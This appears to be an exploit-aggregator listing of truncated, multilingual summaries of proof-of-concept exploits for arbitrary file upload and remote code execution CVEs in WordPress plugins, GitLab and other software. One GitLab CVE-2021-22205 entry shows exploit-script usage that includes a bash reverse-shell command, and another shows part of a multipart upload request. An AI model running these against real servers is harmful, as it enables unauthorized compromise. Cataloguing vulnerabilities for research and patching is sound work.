CVE-2025-48148

CVE-2025-48148 StoreKeeper for WooCommerce = 14.4.4 - 인증되지 않은 임의 파일 업로드 🚀 StoreKeeper for WooCommerce = 14.4.4 - 인증되지 않은 임의 파일 업로드 익스플로잇 📝 설명 WordPress용 StoreKeeper for WooCommerce 플러그인은 14.4.4 이하의 모든 버전에서 파일 유형 검증이 누락되어 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 파일을 업로드할 수 있으며, 잠재적...

GitLab-CVE-2021-22205-

취약점 영향 GitLab CE/EE 11.9부터 모든 버전에 영향을 주는 문제가 발견되었습니다. GitLab이 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 영향을 받는 버전 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 취약점 영향 곧... 참고 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205...

CVE-2021-43617

CVE-2021-43617 이것은 PHP Laravel 8.70.1 - 크로스 사이트 스크립팅 XSS에서 크로스 사이트 요청 위조 CSRF 취약점으로 이어지는 재현입니다. 설명 이 취약점은 라라벨 이미지 파일 업로드 기능을 우회하여 웹 서버에 임의의 파일을 업로드할 수 있다는 점을 악용합니다. 이를 통해 임의의 자바스크립트를 실행하고 CSRF 토큰을 우회할 수 있습니다. 재현 단계: 라라벨 8.7. 애플리케이션을 생성하여 이미지 파일 업로드 폼을 표시합니다. 폼 CSRF 토큰을 우회하기 위한 익스플로잇이 포함된 HTML 파일...

CVE-2024-43160

Wordpress BerqWP = 1.7.6 - 인증되지 않은 임의 파일 업로드 CVE-2024-43160 WordPress용 BerqWP – 자동 올인원 PageSpeed 최적화 플러그인Core Web Vitals, Cache, CDN, Images, CSS, JavaScript은 /api/storewebp.php 파일에서 파일 유형 검증이 누락되어 1.7.6 이하의 모든 버전에서 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 파일을 업로드하여 원격 코드 실행이 가능해질...

CVE-2024-25082

⚠️ CVE-2024-25082 - FontForge ZIP 원격 코드 실행 PoC CVE-2024-25082 에 대한 개념 증명 익스플로잇으로, 조작된 ZIP 아카이브를 통해 원격 코드 실행RCE을 허용하는 FontForge 의 취약점입니다. 이 저장소는 통제된 실험실 환경에서 취약점이 어떻게 악용될 수 있는지 보안 연구 및 교육 목적 으로 시연합니다. 취약점 개요 CVE ID: CVE-2024-25082\ 영향받는 소프트웨어: FontForge\ 취약점 유형: 원격 코드 실행\ 공격 벡터: 악성 ZIP 아카이브\ 영향: 조작...

Zhiyuan OA Platform - Arbitrary File Upload

An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing...

CVE-2025-3054-Exploit

CVE-2025-3054 Exploit: 여기서 다운로드 세부 정보 CVE ID : CVE-2025-3054 게시일 : 2025년 6월 5일 CVSS : 8.8 패치 가능 여부: 공식 패치는 아직 없음 영향 WP User Frontend Pro 플러그인WordPress용은 uploadfiles 함수에서 파일 유형 검증이 누락되어 모든 버전4.1.3 포함까지 임의 파일 업로드에 취약합니다. 이로 인해 인증된 공격자가 Subscriber-level 이상의 접근 권한을 가진 경우 영향을 받는 사이트 서버에 임의의 파일을 업로드할 수...

CVE-2025-4389

CVE-2025-4389 エクスプロイト 詳細 公開日 : May 16, 2025 更新日 : May 17, 2025 深刻度 : 緊急 CVSS スコア: 9.8 CWE : CWE-434: CWE-434 危険なタイプのファイルの無制限アップロード 影響を受けるバージョン : n/a から 2.6.8.1 までの全バージョン 研究者 : https://www.wordfence.com/threat-intel/vulnerabilities/researchers/friderika-baranyai CVSS ベクター CVSS バージョン : 9.8 ベクター文字列 ...

CVE-2021-22205

취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" 배치 스캔 python3 CVE-2021-2205.py -s true -f target.txt 리버스 셸 python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port...

CVE-2021-22205

Влияние уязвимости В GitLab CE/EE была обнаружена проблема, затрагивающая все версии, начиная с 11.9. GitLab не выполнял должную проверку файлов изображений, передаваемых парсеру, что приводило к удаленному выполнению команд. Уязвимый продукт Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE...

CVE-2025-5961

🚨 마이그레이션, 백업, 스테이징 – WPvivid Backup & Migration 📈 이 취약점은700,000개 이상의 설치 수 를 가진 플러그인에 영향을 미칩니다 📝 CVE 세부 정보 CVE: CVE-2025-5961 CVSS: 7.2 높음 게시일: 2025년 7월 3일 🔍 설명 WordPress용 Migration, Backup, Staging – WPvivid Backup & Migration 플러그인은 0.9.116을 포함한 모든 버전에서 wpvividuploadimportfiles 함수의 파일 형식 검증 누락으로 ...

CVE-2024-52380

CVE-2024-52380 Picsmize -----------------------------263629263440545280502417734995 Content-Disposition: form-data; name="action" PicsUploadManualFile -----------------...

CVE-2024-54262

CVE-2024-54262 Import Export For WooCommerce = 1.5 - Аутентифицированный Подписчик+ Произвольная загрузка файлов Описание Плагин Import Export For WooCommerce для WordPress подвержен уязвимости произвольной загрузки файлов из-за отсутствия проверки типа файлов во всех версиях до 1.5 включительно...

CVE-2024-50510

CVE-2024-50510 AR For Woocommerce = 6.2 - 인증되지 않은 임의 파일 업로드 설명 WordPress용 AR for WooCommerce 플러그인은 6.2까지의 모든 버전에서 파일 형식 검증이 누락되어 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의 파일을 업로드할 수 있으며, 이로 인해 원격 코드 실행이 가능해질 수 있습니다. 세부 정보 유형 : plugin 슬러그 : ar-for-woocommerce 영향받는 버전 : 6.2 CVSS 점수 :...

CVE-2021-22205

취약점 영향 GitLab CE/EE에서 11.9 버전부터 모든 버전에 영향을 미치는 문제가 발견되었습니다. GitLab은 파일 파서로 전달되는 이미지 파일을 올바르게 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" !attackcommand1https://as...

CVE-2026-3844

╔════════════════════════════════════════════════════════════╗ ║ CVE-2026-3844 ║ ║ Breeze Cache = 2.4.4 Arbitrary File Upload ║ ║ Unauthenticated RCE | Authorized Lab Use Only ║ ╚════════════════════════════════════════════════════════════╝ 개요 CVE-2026-3844는 취약한 버전의 Breeze Cache WordPress 플러그인에 영...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE Preauth RCE с использованием ExifTool Этот проект предназначен только для обучения, если чьи-то права были нарушены, пожалуйста, свяжитесь со мной, чтобы удалить проект, и последнееНЕ ИСПОЛЬЗУЙТЕ ЕГО НЕЗАКОННО. Если вы совершите незаконные действия при использовании...

CVE-2021-22205-gitlab

취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생할 수 있었습니다. 취약 제품 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 환경 구성 export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publish 443:443...

CVE-2026-0911

CVE-2026-0911 — Hustle 모듈 가져오기 PoC WordPress 플러그인 Hustlewordpress-popup, WPMU DEV에 대한 CVE-2026-0911 범위 내에서, 인증이 필요한 모듈 가져오기 엔드포인트를 통한 업로드 동작을 테스트하는 연구/펜테스트 보조 도구입니다. 이 저장소 또는 파일 세트 내의 CVE-2026-0911.py 스크립트는 소유한 시스템 또는 서면 허가를 받고 테스트하는 시스템에서만 사용해야 합니다. 간단한 요약 취약점 로직 영향을 받는 버전Wordfence/NVD: 7.8.9.2 ...

CVE-2026-56590

HCL BigFix Service Management is affected by an Unrestricted File Upload vulnerability due to improper file validation controls, which could allow an unauthenticated attacker to upload and execute malicious payloads, resulting in a complete server compromise...